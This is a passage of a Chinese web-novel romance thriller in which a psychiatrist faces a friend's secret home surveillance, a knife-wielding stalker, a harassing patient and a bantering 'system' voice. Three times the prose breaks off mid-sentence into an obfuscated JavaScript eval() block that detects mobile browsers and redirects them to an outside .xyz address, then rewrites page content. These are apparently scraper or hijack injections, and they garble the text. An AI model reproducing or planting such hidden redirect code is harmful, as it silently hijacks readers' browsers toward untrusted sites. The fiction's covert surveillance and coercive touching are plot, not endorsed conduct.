是上次给他匿名发短信的号码，许时清到现在也不知道对方的身份，上次那人发信息夸他的衬衫颜色很好看，他并没放在心上。但这次显然有些越界了。 许时清正想打字骂他，对方又发来一句：【如果你再屡教不改的话，我也想做那样的事了。反正你都不会拒绝的，不是吗？】 神经病。 许时清连字都懒得打了，跟这种人没什么好说的，刚好有辆出租车经过，他一边招手，一边就着电话给对方拨过去。 坐上车后座，电话通了，许时清开口便嚷嚷：“你到底想做什么啊？给我发那些东西什么意思！我警告你，别以为互联网是法外之地，我随时可以报警的！” “……” 对方却没有回话，沉默几秒后，把电话挂断了。 切，怂包一个！许时清以为他多有本事呢，结果也只会在网上口嗨而已。 他把电话号码拉黑了，扭头看窗景的时候，前排司机跟他搭话：“同学，是不是被追求者缠上了啊？” 司机叫江时清“同学”，因为他看起来实在是稚嫩，跟十七八岁的高中生没什么区别。 许时清摇摇头：“我也不知道。但我觉得很讨厌，老是发莫名其妙的东西，说特别听不懂的话。” 司机感叹：“唉，看来男孩子在外面也要保护好自己啊！尤其你还长得这么帅，可要小心点。不过说起来，现在的女孩子胆子都这么大了吗？追人的热情也太狂热了吧……” 许时清：“哈哈。” 他没敢戳穿司机，告诉对方那群家伙其实都是男的，否则司机会跟他一样，变成绝望的直男。 “师傅，我到了。” 按照系统的提示，许时清回到了自己的小家。 他和江起虽然是竹马，但没江起那么有钱，住不起独栋别墅，只能住公寓的高楼层，幸好其他设施还算齐全，电梯也是有的。 忙碌了一天，许时清实在困倦，进门后先洗漱，出来的时候快晚上十点钟了。他拿起沙发上的手机，要去睡觉，门铃忽然被人按响。 这个点了会是谁？许时清想不通，嘶，难道是江起给他点的外卖？ 他承认他脑回路有点清奇了，走到玄关处查看。走廊的灯是声控的，现在外面没有动静，透过猫眼，他往外望了又望，然而一片黑暗，什么都看不清。 手刚握上门把手，脑海里响起一道声音：【别开门。】 许时清一愣，想追问系统原因，手机铃声就先响起来了。 是江起打来的，这人不会真给他点外卖了吧？许时清便接了，江起的话音灌入他耳朵里：“别出去，清清。” “你家门前，站了一个人。刚刚他贴在猫眼上往里看，手里……还提着一把刀。” 8. 试试穿女仆装营业吧！ 门外有人，而且正好也在看猫眼？ 这一刻，许时清忽然感觉背后发凉，浑身的血液仿佛都开始倒流。 他刚才也在看猫眼，但是门外漆黑一片……那他刚才岂不是，隔着一扇门，跟那个人对视了么？ ——恐怖程度不亚于鬼片里面的恶鬼突脸，甚至效果更甚！ 许时清下意识后退一步，耳边“嗡嗡”响，但他很快冷静下来，对着电话说：“江起，我现在在我自己家里，你怎么会知道我家门口有人？” “……” 电话那头的人沉默几秒，江起才开口：“清清，我只是想保护你。” 许时清心中已有答案：“你在我家附近装了监控，对吧？” “是。” 江起承认得很干脆，“当时搬来A市，我邀请你和我一起住，你拒绝了，我不明白你为什么会拒绝？明明我们一直都住对门——你不应该疏远我才对。” 听他说完，许时清陷入沉思，有一段不属于他本人的记忆，瞬间涌入脑海。 搬家那天，许时清请了搬家公司，江起自告奋勇要来帮忙，理由是工人粗手粗脚，他的小物件有那么多，碰坏了弄丢了可就不好了。 “许时清”那时候好像对江起颇有微词，但具体是因为什么，许时清想不起来。架不住江起太热情，最后就答应了请求。 进门之后，江起环视一圈，说这公寓的设施有点老旧，要替许时清全部换新。 许时清当然不答应，可江起的态度太强硬了，迂回几次后，还是答应下来。小到茶几座椅，大到浴室墙砖、乃至整扇门都换了一通，之后江起上门打搅的次数就少了很多，许时清倒还乐得清净。 他原以为是江起自己识相，不再自讨没趣了，却没想过是这家伙偷偷在家里装了监控，完美掌握他的动向，自然不需要再频繁上门了。 许时清又记起，第一次和江起见面，江起说的那句“我们从小一起长大，你做什么事是我不知道的么？” 他当时就觉得这句话很奇怪，原来一切都有迹可循。门外是身份未知、意欲持刀伤人的歹徒，电话另一头是他结交多年、知根知底，打着“保护他”的旗号，暗自实施控制和窥探的所谓竹马…… 原谅许时清愚钝，他一时间分不清到底是谁更可怕一些了。 “清清，现在不是纠结这个的时候，”江起的话点醒他，“你知道的，不管发生什么，我都不会做出伤害你的事。但门外的人会，所以，你现在得找个安全的地方躲好，我在开车来的路上了。” 许时清：“呵，我不信你了。” 先是借男朋友的事情诓骗他，嘴里没一句实话，现在竟然在他家里装监控，这不是变态是什么？江起分明才是四个人里病得最严重的吧！ 挂断电话，他稍微冷静了些。门外的人还没离开，并且又敲了好几下门，这次敲门声要急促很多，那家伙也等不及了。 许时清没敢再呆在玄关处，他躲进卧室，反锁房门，问系统：“你们到底什么意思？我来的时候你只告诉我需要养鱼塘，我以为这是个恋爱养成游戏，结果现在马上要演变成社会新闻了是吗？” 【清清大人莫慌！我说过我会护好你的！】 许时清不屑：“那你现在去把门外那个家伙解决掉？” 【Emm……原谅这个小的真做不到，但是给你兑换一些道具是没问题的！】 道具？许时清有了点兴趣，看来这破系统还算有用。 “都有什么道具？……一刀九九九屠龙刀吗？” 【什么话？咱们这个世界可没有玄幻元素吧！】 【我帮你查询一下。目前的攻略进度，凌燚百分之十，柯怀雪百分之九十，言书百分之七十，江起百分之百……】 “等等，是多少？” 【江起，攻略进度百分之百。】 许时清沉默。 半晌，他才说：“我真搞不懂你们的数值，能给我一个理由吗？他明明就有男朋友，我跟他……” 算了，现在不是纠结这个的时候。许时清不想纠结，“你直说我可以兑换什么道具吧？” 【嗯，因为这是第一个世界，你的等级不高，可兑换的道具很少。比较推荐的道具有痛感屏蔽器，算一个持久的BUFF，可以一直持续到这个世界结束。】 许时清心动：“如果有偏头痛之类的症状，也可以一起屏蔽吗？” 【可以的。】 那就太好了！许时清为这个问题困扰许久了，他从前身体健康，一年到头基本不生病。 结果到这儿来之后，不知是压力太大，还是水土不服，许时清老是觉得身体乏力、头昏脑胀，像得了偏头痛一样，晚上睡不好觉，整个人都烦闷无比。 “那我要兑换这个。还有剩余的积分吗？我想再换一点其他的道具。” 【有的有的！我看一下，这边还有女仆装，贴心赠送您一副猫耳发夹和猫尾巴，缠腰款和入体款都有哦！嗯嗯，还有兔耳朵，粉粉的也很可爱……】 许时清：“……” 有毛病是不是，他没事换这个做什么？！ 【嘿嘿嘿，我觉得很有用啊！作为心理医生首要任务就是治好病人嘛，穿得漂漂亮亮的，他们看见你的心情都变好了，是不是事半功倍？！】 许时清：“照你这么说，他们去面试的怎么不穿女仆装戴猫耳？自我介绍前顺便放个某音热门BGM，给面试官跳一段社会摇？” 【啊？这多不合适啊，穿衣服得分场合吧！】 许时清暴怒：“原来你也知道要分场合啊？！我以为你不知道呢，我一个持证上岗的心理医生穿女仆装上班就合适了？！！” 【呜呜我错了，清清大人别骂我～】 许时清无语凝噎，懒得再跟这个人工智障计较了。 “那我就先不换了……话说江起什么时候到？” 不出意外的话，门外的人还是没走。许时清完全不知道这家伙的身份，系统也说无可奉告，他才不想跟歹徒硬碰硬，在江起来之前，他是绝对不会出去的。 但这样干等着又太无聊了，许时清是真的困了，他蜷在床上看手机，最后还是忍不住睡了过去。 …… 许时清不知道一觉睡了多久，睡着前天黑，睡醒后天仍旧没亮。 他感觉脑袋好沉，像灌了铅，从床上爬起来，脚踩在地板上，又像是踩在棉花上，摇摇晃晃总走不稳。 怎么回事？许时清晃了晃脑袋，感觉好难受，呼吸也不顺畅…… 他如行尸走肉，仿佛处在梦游状态，也不知道自己要去哪里要做什么，只是想开门往外走。用力拧了几下门把手，锁碰撞得“哐哐”响，许时清愣了一下，才反应过来原来是门锁了。 许时清解开门锁，推门出去，凌晨时分的客厅，黑暗又安静。他在原地站定一会儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438159|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然听见玄关处传来剧烈的声响。 “咚咚咚。” 先是三声敲门声，许时清还在想这个点会是谁敲门？那声音骤然变大了，“咚！咚！咚！”，声音一下比一下沉重有力，每一下都像是在他的心上重击。 这声音太有压迫感了。直觉告诉许时清，门外的存在很危险，然而他不知怎么想的，双腿根本不听使唤，鬼使神差般地朝着门口走去。房门解锁，拧下把手，他打开了门。 “你是……” “噗呲”一声，一把刀尖直直插入他的心脏。似乎是没有痛感的，但他能清晰感觉到自己的生命在迅速流失，温热的血淌下来，他却浑身冰冷。 彻底失去意识之前，他抬头，看清了行凶者的面容。 ——是江起。 …… “清清，你醒了吗？” 再睁眼时，映入眼帘的是医院纯白的天花板。 许时清躺在病床上，眨了眨眼，还没明白这是什么状况，转头就看见江起那张脸，他像是见了鬼魅一样，下意识地往后退缩。奈何身上实在没有力气，便只能用被子把自己裹起来，算作一种脆弱的防御。 “你、你别过来！……” 他不是死了吗？还是江起亲手做的，现在怎么会……许时清感觉自己神神叨叨的，胡乱摸了摸心口的位置，没有刀口，什么也没有。 可是，当时的触感那样真实，怎么可能只是梦呢？ 江起似乎习以为常，解释说：“我到你家的时候是凌晨一点，那家伙当时已经走了，我没能抓到他。” “然后……”他回忆说，“我有你家的钥匙，进了大门，看见你倒在客厅里，不省人事，就把你送到医院来了。你已经睡了一整天了。” 信息量有点太大了，许时清一时半会没办法消化。他捂着脸，看起来很颓废，“我知道了，你先出去吧。” “清清……” “你以为我忘了吗？你在我家里偷偷装监控这件事，我可没说我不计较了。” “……” 江起沉默，不再坚持，起身走了出去。 他走后，许时清迫不及待地询问系统：“昨天晚上到底发生什么了？我不是睡着了吗，后面的事是什么情况？难道我有梦游症？……” 【是这样的。当宿主进入副本世界，为了更好地和故事线融合，你的身体会随之发生变化，以便更好适应环境……】 许时清冷笑一声，他不觉得自己有病。梦里杀害他的人分明就是江起，一定是江起对他做过什么，他才会产生那样的幻觉。 这个便宜发小远没有他想象的那样单纯。果然竹马还是从小培养的好，天降的保不齐有伪劣造假……当然也没有要夸奖迟冬这个狗崽子的意思，他只是有感而发！ 许时清又说：“要想得到你所说的积分、换取回家的机会，除了攻略他们四个以外，还有其他的附加条件吗？” 系统被他问得一愣，有是有的，但像他这样，这么快就能察觉到隐藏条件的宿主很少。 【有的，如果你能完全解读出这个副本的故事线、了解每一个对象的生平，会有额外的积分，奖励甚至可以翻倍。】 许时清笑：“那我可就要另辟蹊径了。” 四个狗崽子都不让人省心，但毕竟都只是NPC而已，他总被他们耍得团团转，这像什么样子？ 他倒要看看江起的葫芦里卖的什么药！ 9. 像在偷情 因为身体检查没什么问题，许时清下午便可以出院了。 出院之前，医生嘱咐他说，最近要注意作息规律、睡眠充足，不建议大喜大悲，影响身心健康。 许时清点头说“是”，但他也没办法保证。四个狗崽子一个赛一个不是人，还有个派不上用场主打添乱的智障系统，感觉他被气出病也只是早晚的事。 出院时，依旧是江起来接他的。许时清打心底感到抗拒，监控那事一出，他对江起再没什么好印象；可要想查明真相、找出隐藏的故事线，他又不得不跟江起打交道。 直觉告诉他——江起身上隐藏的关键信息是最多的。 “身体还有没有不舒服？” 江起很自然地关照他，他低头系安全带，不说话，江起又问：“要直接回家吗？还是……” “去上班。” 许时清直接打断他。 江起点头答应，又笑笑说：“清清是不是还在生我的气？” 许时清冷笑：“不然呢？我在你家随便装监控，你乐意吗？” 江起：“我很乐意。” “……” 跟你们这群死变态没什么好说的！ “开个玩笑，别又生气，”江起自知理亏，想要说点好话活跃气氛，车辆驶过市区的美食街，他看着窗外说，“要吃蛋糕吗，清清？我给你买。” 许时清还是不说话，势必将冷暴力贯彻到底。江起叹气，只当他是默认，将车停靠在路边，下车去买了。 江起走了，许时清特意看了一眼，确认他走到马路对面、进了店门，才开始在车里搜寻起来。 他也不知道他想找什么东西，但总比坐以待毙的好。拉开面前的箱子，正好就看见一盒药片。 那一刻，又是第六感作祟，对面的蛋糕店里有人出来了，于是许时清想也没想，直接拆开药盒、取出一板，揣进兜里，再把一切回归原位，佯装若无其事。 江起回到车上，把蛋糕盒拎给他，打包得很精致，里面装着六寸大小的蛋糕。 江起：“樱桃巧克力的没有了，给你买了芒果的，应该也不错吧？” 许时清总算理他了，但也只是“嗯”了一声，没什么特别的反应。 车辆重新发动。 “我家的监控……”许时清后知后觉，转头看着他，“什么时候拆？” 江起忽然沉默，他又笑着追问：“让我猜猜，除了门口装了，其他地方还有吗？你把我家的东西全都换了个遍，客厅换过、卧室换过，甚至浴室也换过。这些地方……难道全都有吗？” 江起：“浴室没有。” 他应该感谢江起吗？给他留下了最后一点微不足道的隐私。 许时清懒得再纠结这个问题，他又问：“昨天晚上那个人，你知道他的来历吗？” 江起摇头：“我不知道。当时只是查看监控，确认你安全到家了，几分钟后，却看见那个人在门口蹲守，我就留心了。” 许时清：“那他是第一次出现？” “是的。” 江起说完，叹了口气，试图和他协商：“清清，看来最近很不安全。你住的公寓没有物业统一管理，要不要搬来和我一起……” 许时清盯着他：“那我的房间又会布满监控吗？三百六十度无死角的那种。” 他从前温言软语惯了，现在说话夹枪带棒的，江起很不适应，知道他正气头上，便不再坚持。 “既然这样的话，你家里的监控可以拆去，但是门口的……暂时不行。” 许时清点头答应：“可以。但我也要有看监控的权限。” 江起微笑：“当然没问题，清清……所以，你现在还生我气吗？” 许时清又不说话了，答案显而易见。 有句话叫做，惹谁也不要惹看起来温柔好脾气的人。许时清就是这样，他虽然有时候嘴碎，但很少会直接和人起正面冲突，除非是对方的行为触及到了他的底线，翻脸之后想再和好就很难了。 —— “好久不见？凌同学。” 时隔几天，许时清总算又和凌燚见面了。 他初来这个世界，第一眼看见的人就是凌燚，然而这家伙存在感却超级低，自那天之后也没主动出现过。要不是许时清主动联系他，他估计都忘了今天还有治疗这回事了。 “许医生，一日不见如隔三秋啊？”凌燚进门之后，就上下打量着他，眼神毫不避讳，“嘶，怎么瞧着您面色这么憔悴呢？晚上没有好好休息吗？那是做什么去了……” 许时清正在低头写字，听见这话，抬起头来，表情透出懊恼：“唉，被你看出来了呢。实不相瞒，我最近晚上老是做噩梦，经常半夜被吓醒来着。” 凌燚盯他那张脸盯得入神，又被勾起好奇心：“什么梦？” 许时清似乎回忆：“嗯，我梦见，我在一片漆黑的地方散步，这里除了我以外一个人也没有，也很安静，梦里我的脚步越来越快，好像是有什么东西在追我……” 凌燚：“哦。然后呢？你遇见鬼了？” 许时清摇头：“慌乱之中，我忍不住回头，发现正在追我的，是一只狗。” 凌燚：“狗？”他似乎察觉不对劲。 “对呀，”许时清说，视线在他身上来回扫，“就是一只狗，有又黄又黑的头发，穿着红色的夹克，脖子上还挂着一条十字架项链……” 越听越不对劲。凌燚低头一看自己的装束——这说的不就是他吗？ 不等他发作，许时清又说：“唉，回头那一眼给我留下了好大的心理阴影。我本来已经不在意了，直到现在上班，我又看见你这身衣服，又唤醒了糟糕的记忆，唉……” “不是，许时清你他妈什么意思啊？！骂我是狗是吧！！！”凌燚登时就炸了，火花四溅。 他气愤得拍桌而起，坐在对面的许时清却摆摆手：“好了好了，不要动怒。话说你昨晚是不是没有休息好呢？晚上睡眠不足，白天才会这样暴躁易怒，你晚上偷偷做什么事去啦？” 凌燚：“……” 你赢了。 他承认，论耍嘴皮子功夫，他的确是比不过许时清。 意识到这是许时清挖的坑，他很快也冷静下来，重新坐回座位，嗤笑一声说：“怎么，许医生就是这样对待手下的病患的吗？真是医者仁心啊。” 许时清微笑：“我并不总对人这样。我对你的态度，取决于你对我的态度。” 听他这样说，凌燚沉默半晌，随后开口：“我知道了，我不说那些话就是了。” 训导成功。许时清这才切入正题，“你之前告诉我说，你是被父母强制送进来的。你的资料显示，你今年十九岁，刚上大一，上半学期学业进展还算顺利，为什么会被他们强行送进来？” 凌燚冷笑：“呵，为了钱呗，还能因为什么？他们生我又不养我，我上大学就要断绝关系了，结果他们急了，搞了一系列骚操作，三番五次打搅我的正常生活。我忍无可忍就反抗了，最后的结果……想必你也知道。” “噢，”许时清扫他一眼，“所以你真的是完全被冤枉的咯？” 凌燚点点头，他再推过去几份档案：“那这三个人……请问你认识吗？” 凌燚定睛一看，言书、江起和……柯怀雪？他抬手一指第三个人，说：“这个我认识。” “他是谁？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438160|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我的高中同学。” 据凌燚回忆说，高中他和柯怀雪曾是同班同学。柯怀雪是插班生，当时已经高三了，突然从隔壁学校转到他们高中，许多人都表示不理解。 后来才知道，柯怀雪患上了抑郁症，一度出现厌学情绪，初中和高中分别都休学了一年。 前段时间休学回来，似乎和本校的一些学生起了冲突，几个人带头欺负柯怀雪——最后竟然闹了个两败俱伤。 不，柯怀雪甚至是全身而退的，除了手上有点擦伤之外，再没什么明显的外伤。而听说试图找茬的那几个人，受伤程度都远比他要严重。 他们家里比柯怀雪更有权势，按理来说应该要继续找柯怀雪的麻烦的。但不知为什么，这件事最后不了了之，只以柯怀雪转学收场了。 关于柯怀雪的八卦，这就是凌燚知道的全部。转校生刚来那几天，他们还津津乐道，时间长了也觉得没意思，后来便不关注了，柯怀雪毕业后去了何处，他也全然不知。 “所以说……”许时清发现了故事盲点，“柯怀雪的资料上写着十九岁，但他其实已经二十一了么？” 竟然只比他小一岁，为什么心理年龄会那样不成熟呢？ 凌燚突然开始笑，答：“对啊，他跟许医生你差不多的年纪呢，结果您还把他当个小孩儿哄，是不是有种被欺骗的感觉？” “话说，”提起这事，凌燚似乎颇有成见，他眉头紧锁，“你们都分不清这些手段么？他只不过是装装柔弱，就把您这个无所不知无所不晓的心理医生都诓骗过去了？” 闻言，许时清勾唇笑笑，又摇头，“没办法呀，凌燚同学，做我们这一行就是这样的，有时候病患并不信任我们，要是选择撒谎的话，我也没有别的办法呢？” “至于你说我偏心他……” 许时清开始转手里的签字笔，他的手指纤长，做这个动作也很有美感，杏眼微微亮，盯着凌燚笑，薄唇轻启：“柯怀雪的确是个乖孩子，他懂分寸、会撒娇，会想办法说好话讨我欢心。如果我不喜欢他的话……难道要喜欢你吗，凌燚同学？” “你——” 凌燚下意识想反驳，却真被他问住了，话卡在喉头说不出口，又只能嘴硬：“懒得跟你说那么多，到底谁要你喜欢了？真是……” 他絮絮叨叨个不停，许时清已经问完自己想问的，便找个借口把他打发走了。 下逐客令的时候，他注意到凌燚的耳尖上，竟然泛起一点微红。许时清感觉很奇妙，等人走了，他问系统：“这家伙对我的好感度不会上升了吧？” 【Bingo～我们清清大人就是这样魅力无限啦！】 许时清：“呵。” 听不清好赖话的蠢狗。 —— 为了弄清柯怀雪的真实想法和动机，许时清有必要去查一查资料。 这家精神病院有间图书室，空间不算特别大，但存放的书籍还算齐全，许时清打算去碰碰运气。 这里鲜少有人过来，所以平时都是锁上的，他特地找工作人员寻了钥匙，开启门锁，穿梭在排排书架里寻找可能有用的书籍。 走到最角落的书架面前时，许时清怀里已经抱了六本书，他低头看得专注，没注意到面前站了个人，径直一头撞了上去，手里的书散落一地。 许时清被吓了一跳，猛地抬头，却看见言书这张脸，他愕然：“你怎么……” 一根微凉的手指搭在了他的唇上。 “嘘。” 言书对他微微一笑，视线扫过他的鼻和唇，低声说： “许医生，现在外面有人呢。我们不要被人发现了？” 像在偷情。 10. 自投罗网的小男友 “现在外面有人呢。我们可不要被人发现了？” 在图书室撞见言书，许时清一时没有反应过来，这个人怎么感觉也神出鬼没的呢？ 很快，他反应过来不对劲，一把拍开言书的手，说：“装神弄鬼做什么？我到这儿来可是有正经事要做的。” 说着，他举起手里挂着的钥匙，“看见没？这是通行证。” 言书不知从哪儿掏出来一根铁丝：“这是我的通行证。” “……” 同学，你这个“通行证”好像不太合法吧？ “不对，”许时清后知后觉，“既然你已经撬锁进来了，那外面的锁是谁扣上的？” 言书笑笑：“所以我现在才在这里啊。” 许时清瞪大了眼，猛地回头，发现图书室的门已经被人从外面关上了，对方的动作很迅速。等他扑过去推门的时候，听见门外“咔哒”一声，那人又把锁扣上了。 见鬼！ 许时清暗骂，到底为什么会有这么多破事呢？ 他打不开门，回头看言书，发现对方还是一副笑吟吟的样子，气不打一处来：“你在笑什么呢？你也被关在里面了，为什么不早提醒我？” 言书撇撇嘴：“我以为那家伙已经走了呢，结果同样的恶作剧他玩了两次。” “而且……”言书话锋一转，“看见许医生，我忘了这件事了，满心满眼都只想着你呢。” “你给我打住，现在不是说这个的时候。” 许时清听不下去了，也不想跟他共处一室，立刻翻出手机开始拨号，这次他是真的要报警！ “嘟……嘟……嘟……” 手机一连响了三声，这通电话还没拨出去，余光瞥见言书又在笑，许时清暗叫不好，他问：“难道这里没信号吗？” “好聪明呢，我们许医生，”言书笑笑说，“这附近装了信号屏蔽器，说是怕有人入侵监控影响安保系统，没记错的话，应该是江医生的提议吧？” 又是江起。许时清摸不着头脑，这栋楼又没什么机密性的东西，除了几间办公室，其他的房间都是闲置的，有什么可屏蔽的？ “那就要问江医生咯，”言书说，“许医生应该是最了解他的了吧？” 许时清爱搭不理，不是很想跟他说话。 拨不出电话，没办法报警，这栋楼平时又鲜少有人经过，唯一的办法，就是乞求有人能发现他们两个不在了。 说出来很丢人，但许时清第一个想到的人是江起，现在这种局面，估计也只有他能破解了。 言书似乎看穿他的恐慌，安抚说：“别担心，许医生，有我陪着你呢。” 你说有没有一种可能，正是因为你现在在这里，所以我才要担心呢？ 事实证明，许时清的直觉不会出错，跟一个第一次见面就要和他告白的精神病呆在一起，是不会有好事发生的。 他们二人共处一室，气氛本来就尴尬，言书哪壶不开提哪壶：“许医生，上次和你说的事，你考虑得怎么样了？” 许时清别开视线，“什么事？我早忘了。” 言书越走越近，顺带替他捡起刚刚被撞掉的几本书，整齐码放在桌上，又说：“真的不考虑答应我的追求吗？我觉得我和许医生很般配。” 许时清：“喜欢一个人，不能只看他的外表。” “是吗？但我觉得许医生的性格也很……” “也要看看自己的外表。”许时清悠悠补上后半句。 言书：“……” “唉。” 听见这话，言书忽然叹了口气，他笑得无奈：“我应该也没有那样差劲吧？难道就一点都不符合您的择偶标准吗？” 许时清嗤笑：“那你倒是说说，你有什么优势呢？” 言书同他细数：“我的成绩不错，家境优越，父母都是高知，虽然某些时候观念不合，但我以后不打算和他们共同生活，所以并不影响。” “至于长相……”言书忽然一笑，目光在他脸上流连，“虽然没有许医生那样漂亮，但应该也是不错的，是不是？” 许时清敷衍地点点头，“但那也都跟我没关系，我说过了，我又不喜欢男——” “那江起呢？”言书忽然打断他，声音冷了下来，一字一句，“江医生就可以吗？” “什么？” 许时清没明白他的好意思，好一阵才回过神，许时清不可置信：“这和江起有什么关系？我和他只是一起长大的朋友，你……” “真的是朋友吗？” 言书靠得更近了，刚才距离还是五米，现在是三米、两米，一步之外的距离。他面上依然微笑着，看起来温和可亲，但许时清却嗅到危险的味道，下意识想往后撤。 直到他的后腰抵在另一张桌子上，被言书逼退到角落，逃无可逃，言书依然不知死活地凑过来，他们的距离近在咫尺。 言书抬手，手指拨开他的衬衫领口，锁骨露出来，上面还印着淡淡的红痕。言书抚着那处的痕迹，问他说：“如果许医生喜欢跟朋友做这种事的话，我也是许医生的朋友呢，我也可以跟许医生一起做吗？” 许时清有点被他吓到了，“你这人在胡说八道些什么？” 言书垂下眼，不知在看哪里，手指继续下滑，最后勾着他的领带结，轻轻一勾，将他往前一带。许时清没有防备，跌入他怀里。 “你放开我！”许时清彻底怒了，捉弄人也该有个限度，他现在本来就火大，“言书，我警告你，你再这样我就……” “嘘，别吵。我现在头有点疼呢，昨天晚上又失眠了，你怎么不来看我呢？” 许时清不明白这两件事中间有什么关联，言书完全就是在无理取闹，他手底下有那么多病人，怎么可能只顾得上这一个？ “我也不会对你做太过分的事的。” 言书继续往下说，手掌搭上他的后腰，许时清最怕痒，尤其是腰部的位置，被他一摸就忍不住想躲，却被他按住了。 “……只要你听话一点，嗯？”言书又对他笑，“我们不能让江医生发现的，对不对？” 听见这句话，许时清果然没敢再动弹。他私以为自己不怕言书，也没必要忌惮江起，但就像是被人扼住了命脉，如果真发生了激烈的冲突，他不一定有胜算的。 趁人之危的小兔崽子。许时清只能在心底暗骂，选择暂时隐忍。 ——等他出去就弄死言书！ …… “许医生，您还好吗？” 片刻后，许时清缩在角落里默默扣衬衫，背后还传来言书得逞的嘲笑，他气得手抖，咬牙说：“麻烦先把嘴闭上吧。” 言出法随，言书果然闭嘴了。他抖着手整理好衣服，试图冷静下来。 别看他反应激烈，言书的确是没做什么过分的事，无非是解了他的衣服，说是要确认一些事情。 “噢，所以只有脖子上有啊？” 他好整以暇地欣赏起来，仿佛许时清是个可供观赏的物件，指尖从上触到下。许时清抖一下，他就笑一下，笑声也格外扰人。 “您这里……”手指滑到腰际，言书轻戳一下，“竟然还有颗痣呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438161|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许时清瞪他：“我自己长的我难道不知道，需要你提醒我吗？” “好凶啊，许医生，我有时候会觉得你……” 言书欲言又止，终究没说出口，又把衣服给他拉上去，想亲自给他扣纽扣，却被他拍开手。许时清赌气似的背过身，缩在角落整理好了着装。 重新穿好衣服，许时清看一眼时间，已经过去半小时了，他们到底还要在这儿被关多久？ 【哎呀呀，好可怜呢！我们清清大人怎么被调戏了？】 这个世界的路人，NPC，再到他这个人工智障系统，别的本事没有，火上浇油的本领倒是一等一的好。 【言书小狗勾的好感度足足涨了十五个百分点呢，你的魅力可太大了！】 许时清不屑：“这种见色起意的家伙，谁稀罕他的好感度？” 【唉，难道你真的不喜欢小言这种类型吗？我觉得他很有吸引力呢！高冷学神简直不要太帅呀！】 许时清：“你说得对，现在我把他赏给你了，心动就快带走吧。” 系统被他怼得哑口无言，没再说话。 打发走系统，许时清和言书面面相觑。不知道什么时候才能出去，总不能在这里干坐着，转念一想，豆腐都被人吃了，总也要发挥点作用，套点话出来才好吧？ 于是许时清便问：“你总在我面前提起江起，你很在意他吗，难道你们认识？” “认识啊，”言书找了张沙发坐下，腿上摊着一本书，他慢条斯理翻一页，说，“江医生以前可是我的主治医师。” 许时清：“是吗？那怎么后来又到我手下了。” 言书抬头看他，表情透着疑惑，见他真的一脸茫然，说：“许医生，看来您最近真的很忙啊，贵人多忘事。” “当初不是您亲自找到江医生，希望他把我调到您手下的吗？难道您都忘了？” 许时清哪儿是忘了，他压根就不知道这一茬好不好？他接着追问：“那我可能是记不太清了，理由呢？江起他有告诉你吗？” 言书却答：“我也不太清楚，您可能要亲自去问江医生了。” 许时清想把他收为病人的原因，他不知道，但当时转院时，江起对他说过的话他可还记得。 那时江起对他说：离许时清远一点。 言书嗤笑：“什么意思，这是怕我抢了江医生未来的小男朋友？” 江起看着他，微笑说：“已经是了，你抢不走的。” …… 书又往后翻了十几页，言书看得有些犯困，抬头一看，发现许时清居然已经睡着了？ 他顿时来了兴致，关上书，朝许时清走近。 许时清是坐在凳子上睡的，斜趴在桌上，枕在臂弯里，露出半张脸。 许时清的气质其实是恬静的，只是平时不说话时高冷，加上他总爱发呆，看起来似乎脾气很差的样子。但跟他接触过的人才知道，那些冷冰冰的外壳都是假象，他的性格其实要柔软得多。 言书看了一会儿，情难自禁地伸出手，正要落在他脸上时，背后传来声响，大门开了。 一回头，果然是江起。言书重新站定，微微一笑，“你来了。” 江起的脸色很阴沉，几乎要把怒火写在脸上，但他没多说什么，走过来查看许时清的状况，确认对方只是自然睡着了。他解下外套，披在人身上，对言书说：“记住我告诉你的话。” 言书眼睛弯弯：“我记性不太好，有时候会忘也说不定？倒不如你再把他看紧一点呢。” 否则，这送上门的肉，他哪有不吃的道理？ 11. 竹马的秘密 许时清不知道自己睡了多久。在图书室里，明明还跟忌惮的言书共处一室，但他突然觉得困倦无比、眼皮打架，不知道什么时候就睡死过去了。 再睁眼就是在江起的车上，他躺在车后座，腰后垫了一个软枕，身上披着一件风衣外套，也是江起的。 许时清感觉脑袋发懵，他问正在开车的人：“你怎么会在这里？” 江起透过后视镜看他：“我查房的时候，听清洁工说你借钥匙去图书室了，几个小时也没见人影，我到的时候，你已经睡着了。 “清清，我早跟你说过，去哪里要和我报备一下，不然出了事可怎么办？” 虽然是关心的话语，但许时清听着不太舒服。能出什么大事？第一次是被不知名的歹徒尾随，那样的特殊情况有谁能预料吗？告诉江起又能怎么样，等江起赶过来，他早就被歹人砍成臊子了。 至于刚才被人关在房间里…… 